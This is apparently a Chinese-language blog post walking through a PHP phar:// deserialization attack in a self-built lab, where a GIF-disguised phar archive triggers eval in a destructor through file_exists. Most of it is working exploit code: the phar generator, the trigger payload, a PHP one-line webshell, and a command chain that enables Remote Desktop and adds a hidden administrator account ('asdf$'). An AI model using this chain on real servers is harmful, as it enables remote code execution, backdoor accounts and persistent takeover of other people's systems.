前言
一、环境搭建
??
二、详细解释
1.phar反序列化
2.关键1
3.关键2
三、运行测试?
四、总结
前言
看到CTF很多题都有关于phar://绕过文件上传配合反序列化利用的。但是实战中大概率不存在这么巧合的点。
在了解phar://时,看很多博客都是写入phpinfo()来执行的。我突发脑洞,既然可以执行phpinfo,那么可不可以写马获得shell呢?
由于对php对象不是很了解,踩了很多坑记录一下。
windows server 2008、php5.5.38、权限是管理员权限,所以可以远程登录。
一、环境搭建
在phpstudy下。创建一个目录。写入如下几个文件
index.php
<?php
echo "ssss";
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this -> data);
}
}
file_exists($filename);
?>
?phar_create.php
<?php
class AnyClass{
function __destruct()
{
eval($this -> data);
}
}
$phar = new Phar('../phar.phar');//上一级目录
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'echo `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f && net user asdf$ 123456...aA /add && net localgroup administrators asdf$ /add`;';
$phar -> setMetadata($object);
$phar -> stopBuffering();
echo 'phar 生成在上一级目录';
?>
?upload.html
<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
upload_file.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"./" .$_FILES["file"]["name"]);
echo "Stored in: " . "./" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>
浏览器访问?
二、详细解释
1.phar反序列化
具体看其他大牛的博客
2.关键1
主要是index.php中的
? ? function __destruct()
? ? {
? ? ? ? eval($this -> data);
? ? }
所以在file_exists(”phar://../phar.phar“);触发反序列化然后时触发__destruct()执行命令。
3.关键2
本来我是想利用写入文件的,奈何后面在利用时不会执行这条命令,不知道为什么。。。。
$object -> data =?'file_put_contents(”cmd.php“,"<?php eval(\$_POST[cmd]);?>");'
echo `dir`; 加上反引号可以命令执行
$object -> data = 'echo `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f && net user asdf$ 123456...aA /add && net localgroup administrators asdf$ /add`;';
三、运行测试?
这是生成phar包会产生的效果,对了如果报错说明要修改php.ini 文件,去掉; 改成off
下面我们删除账户关掉3389,net user asdf$ /del && taskkill /pid 6424 /f
?哎呀 忘了改后缀为gif 再上传了。不过没关系效果是一样的。
?payload = filename=phar://../phar.phar
?
?
?
四、总结
其他脑洞可以自行发挥啦 好累 做这个搞了好久好久。。。。。睡觉觉了。。。。。。。。。
|